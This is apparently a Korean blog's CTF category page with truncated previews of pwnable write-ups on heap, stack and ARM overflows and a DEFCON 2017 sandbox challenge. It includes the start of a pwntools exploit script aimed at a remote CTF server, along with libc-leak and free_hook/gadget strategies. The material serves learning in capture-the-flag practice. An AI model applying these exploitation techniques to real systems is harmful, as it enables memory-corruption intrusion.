목록System/[CTF] (8)
y0u_bat
[H3XOR] whattheheap심심해서 풀어봤습니당. Exploitfrom pwn import * context.log_level = 'debug' #s = process("./whattheheap") s = remote("49.236.136.140",16000) def leak(): s.recvuntil("please input your name!\n") s.send("a"*0x28) s.sendline("6") s.recvuntil("a"*0x28) libc_base = u64(s.recv(6) + "\x00\x00") - 0x18c627 s.sendline("5") s.recvuntil("Enter the name you want to change.\n") s.send("b"*0xd8) ..
XCTF - once간만에 심심해서 CTF 문제를 풀어봤다. Mitigation모든 보호기법이 걸려 있다.그러므로 free_hook에 원샷 가젯을 덮는 식으로 풀어야 된다.5번 메뉴로 libc 주소를 준다. 이 메뉴로 libc base를 구하면 된다. Vulnerability 문제점4를 누르고 2를 누르면 ptr에 size 크기만큼 덮을 수 있게 된다. 그런데 ptr이 있는지 없는지 체크를 안한다.처음 1를 누르면 0x20만큼 할당하고 2번으로 방금 할당한 공간에 0x20만큼 원하는 데이터를 쓸 수 있는데, 중요한 데이터를 수정 할 수 있기 때문에 3번 메뉴에서 ptr의 내용을 0x202020으로 덮을 수 있다. 요약:ptr의 내용을 0x202020으로 바꾼다. 4->1에서 큰 사이즈를 입력하여 ptr ..
BaskinRobins31간단한 64비트 버퍼오버플로우입니다.Mitigationihaechan@ubuntu:~/Desktop$ ./pwnable/checksec.sh --file ./BaskinRobins31 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./BaskinRobins31 ihaechan@ubuntu:~/Desktop$vulnerabilitysigned __int64 __fastcall your_turn(_DWORD *a1) { signed __int64 result; // rax char s; // [rsp+10h] [rbp-B0h] s..
Super Marimo간단한 힙오버플로우 취약점 입니다.익스 코드 정리 안되어있는건 양해 부탁드립니당!Mitigationihaechan@ubuntu:~/Desktop$ ./pwnable/checksec.sh --file ./marimo RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./marimo ihaechan@ubuntu:~/Desktop$Vulnerability_BYTE *__fastcall sub_400EED(__int64 a1, unsigned int a2, unsigned int a3) { unsigned __int64 v3; // ST00_8 ..
Melongarm계열의 간단한 스택오버플로우 문제입니다.Mitigationihaechan@ubuntu:~$ ./Desktop/pwnable/checksec.sh --file ./melong RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./melong ihaechan@ubuntu:~$ ASLR이 꺼져 있음Vulnerability_DWORD *__fastcall write_diary(_DWORD *result, void *a2) { void *buf; // [sp+0h] [bp-14h] unsigned __int8 nbytes; // [sp+Fh] [b..
[DEFCON 2017] mute샌드박스문제이다. 샌드박스 때문에, write를 syscall 못할때, cmp를 이용해서 time-base로 blind로 플래그를 뽑아내는 문제이다. MitigationNX만 걸려있고, 나머지는 안걸려있다. VulnerabilityMain 함수이다. buf에 4096크기만큼 rwx권한으로 메모리 맵핑해준다.그리고 read로 buf에 4096 크기만큼 입력받는다. 그다음에 buf에 담긴 내용을 실행한다.이문제는 샌드박스 관련 문제이다. dropSyscalls() 함수를 한번 보자. 샌드박스가 돌아가고 있고, Rule에 syscall 0x0,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0xa,0xb,0xc,0x3b만 호출 될수있도록 추가 되어 있다. 해당 syscall은..
[DEFCON 2017] SmashmeDEFCON 2017 예선전에서 제일 쉬운 문제다.간단한 bof 문제이고, 조건 하나만 맞춰 주면 된다. MitigationVulnerability gets로 입력을 받아서 stack buffer overflow가 일어난다. 여기서 조건 하나를 맞쳐줘야 된다.입력한 변수에 "Smash me outside, how bout dAAAAAAAAAAA" 가 포함되어 있어야된다. sub_400320 함수가 strstr 함수이다. main 함수에서 ret instruction이 실행되기전에 레지스터를 보면, rdi가 입력받은 변수의 시작점인것을 알수있다.그래서 jmp rdi 가젯이 있나 가젯을 검색해보았다. 0x00000000004c4e1b : jmp rdi바이너리에서 이러한 ..
[DEFCON 2017] beatmethedl심심해서 간만에 CTF 참여해서 풀어봤다.unlink를 해서 푸는 heap문제다. 오랜만에 CTF 해서 그런지 재미있게 했다. MitigationLogin로그인검사를 하는데, 바이너리내에 있는 문자열을 strcmp으로 비교한다. ID를 mcfly로, PW를 awesnap로 해주면 로그인이 된다. Memu 바이너리의 메뉴이다. 일반적인 Heap 문제처럼 추가,출력,삭제,수정 기능을 가지고 있는 전형적인 Heap 문제이다. 해당 바이너리내에 malloc함수와 free함수가 구현되어 있다. if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 구현된 함수에 이루틴이 없어서 unsafe_unlink가 아닌 unlink를 통..